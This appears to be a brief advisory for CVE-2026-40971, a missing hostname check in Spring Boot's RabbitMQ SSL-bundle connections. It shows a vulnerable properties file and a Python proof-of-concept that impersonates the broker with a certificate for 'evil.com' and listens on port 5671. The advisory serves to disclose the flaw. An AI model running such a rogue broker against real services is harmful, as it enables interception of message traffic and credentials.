CVE-2026-40971 Spring Boot RabbitMQ主机名校验缺失漏洞

# Vulnerable Configuration (application.properties) # Using SSL bundle without manual hostname verification triggers the bug spring.rabbitmq.host=production-rabbitmq.example.com spring.rabbitmq.port=5671 spring.rabbitmq.ssl.bundle=my-app-ssl-bundle # PoC Concept: Attacker setup using Python to simulate a valid broker # Requires a valid CA signed certificate for 'evil.com' import socket, ssl # Attacker listens for connections context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain(certfile="evil.com.pem", keyfile="evil.com.key") bindsocket = socket.socket() bindsocket.bind(('0.0.0.0', 5671)) bindsocket.listen(5) # If the vulnerable client connects, it will not reject the cert # even if the expected host is 'production-rabbitmq.example.com' # because hostname verification is disabled. newsocket, fromaddr = bindsocket.accept() stream = context.wrap_socket(newsocket, server_side=True) print("Connection established (Exploitation Successful)")